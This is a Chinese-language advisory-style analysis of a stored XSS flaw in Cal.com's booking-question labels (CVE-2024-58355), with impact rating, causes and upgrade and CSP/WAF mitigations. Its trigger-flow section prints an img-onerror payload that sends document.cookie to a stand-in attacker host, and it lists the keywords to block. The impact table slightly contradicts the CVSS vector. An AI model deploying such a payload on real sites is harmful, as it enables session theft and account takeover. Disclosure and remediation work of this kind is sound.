🔴 【深度分析】严重安全漏洞:CVE-2024-58355

CVSS 评分: 严重(9.3)🔴  状态: Deferred  发布时间: 2026-07-23


🔍 技术细节速览

字段
CVE ID CVE-2024-58355
CVSS 评分 9.3 🔴
严重程度 严重
CVSS 向量 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CWE 分类 CWE-80
发布时间 2026-07-23
最后更新 2026-07-30
状态 Deferred
数据来源 disclosure@vulncheck.com

危害等级:严重(Critical)
CVSS 4.0 评分:9.3(AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L)


漏洞概述

Cal.com(开源日程管理平台,Cal.com / cal.diy)的 4.7.15 及之前版本中存在一个存储型跨站脚本(Stored XSS)漏洞。攻击者通过创建恶意事件类型,在 booking-question 字段中注入未经过滤的 HTML/JavaScript,当受害者打开特制的预约链接(形如 https://app.cal.com/booking/<id>)时,恶意脚本会在浏览器端执行。该漏洞影响所有使用 Cal.com 实例的用户,可能导致敏感数据泄露、会话劫持、恶意操作等严重后果。


受影响组件与版本

组件 受影响版本范围 安全版本
Cal.com / cal.diy ≤ 4.7.15 4.7.16

说明:此漏洞仅在用户创建事件类型时具有“定制预约问题标签”权限的账号才能利用(对应 PR:L)。但一旦注入成功,所有查看该预约详情的用户均受影响。


漏洞原理分析

成因

在 Cal.com 的单次预约视图(/booking/<id>)中,开发者使用 React 的 dangerouslySetInnerHTML 直接渲染 booking-question 字段的标签内容,未对用户输入进行任何转义或净化dangerouslySetInnerHTML 是 React 中用于插入原始 HTML 的 API,默认不会自动编码特殊字符——这意味着如果输入中包含 <script><img onerror> 等恶意标签,它们会原样被浏览器解析执行。

攻击向量

  1. 攻击者前提:在 Cal.com 平台中拥有能够创建/编辑事件类型的权限(通常为普通用户角色)。
  2. 注入点:事件类型设置中的 booking-question 标签字段(例如自定义问卷问题的标题)。
  3. 触发点:当受害者访问包含该注入事件类型的预约 URL 时,浏览器渲染页面并执行恶意脚本。

触发流程

攻击者创建恶意事件类型
  └─ 填写 booking-question 标签:`<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"/>`
      └─ 系统将关键词存入数据库
          └─ 受害者点击预约链接 https://app.cal.com/booking/<id>
              └─ React 通过 dangerouslySetInnerHTML 渲染标签
                  └─ 浏览器解析 HTML 并触发 onerror 事件
                      └─ 恶意脚本窃取 cookie / 执行任意操作

影响评估

利用难度分析(基于 CVSS 4.0 向量)

维度 解析
攻击向量 (AV) 网络 (N) 攻击者可通过网络远程发起,无需物理接触。
攻击复杂度 (AC) 低 (L) 利用方式简单,只需构造恶意标签,无特殊技巧。
攻击所需权限 (PR) 低 (L) 需要拥有创建事件类型的权限(通常为普通用户即可)。
用户交互 (UI) 是 (P) 受害者需主动点击并打开恶意预约链接,但该类链接常被用于攻击场景(如钓鱼邮件中的链接)。
影响范围 (SC/SI/SA) 变更(H/L/H) 成功利用后,攻击者可在用户会话中执行脚本,可能导致横向移动(如访问其他受害者的数据)。

实际威胁

  • 攻击复杂度极低:只需一条包含 <script> 或事件处理器的字符串。
  • 影响范围广泛:所有查看该预约页面的用户(包括管理员)都可能中招。
  • 后危害严重:可窃取认证 Cookie、在用户上下文中发起 API 请求(如创建/修改事件)、植入恶意重定向等,最终可能导致数据泄露和账户接管。

修复建议

立即修复

升级至 v4.7.16 及以上版本。官方已在 4.7.16 中彻底移除 dangerouslySetInnerHTMLbooking-question 字段的使用,转而采用 React 默认的安全转义机制。

# 对于自托管实例
git pull origin stable
# 或直接升级到指定版本
npm install @calcom/web@4.7.16

临时缓解措施(无法立即升级时)

  1. 限制事件类型创建权限:仅在受信任的用户(如管理员)范围内赋予创建事件类型的权限,避免低权限用户利用。
  2. 启用内容安全策略(CSP):在 HTTP 响应头中加入严格的 CSP 规则,例如 default-src 'self'; script-src 'self',可阻止内联脚本执行,减缓 XSS 危害(但无法完全防御基于 DOM 的 XSS)。
  3. Web 应用防火墙(WAF):配置 WAF 规则拦截包含 <script>onerroronload 等关键词的 booking-question 输入。

参考资料


总结:CVE-2024-58355 是 Cal.com 中一个典型的存储型 XSS,因其利用门槛低、危害高,建议所有使用者立即升级。自托管用户应优先关注,避免因未及时修补导致数据泄露。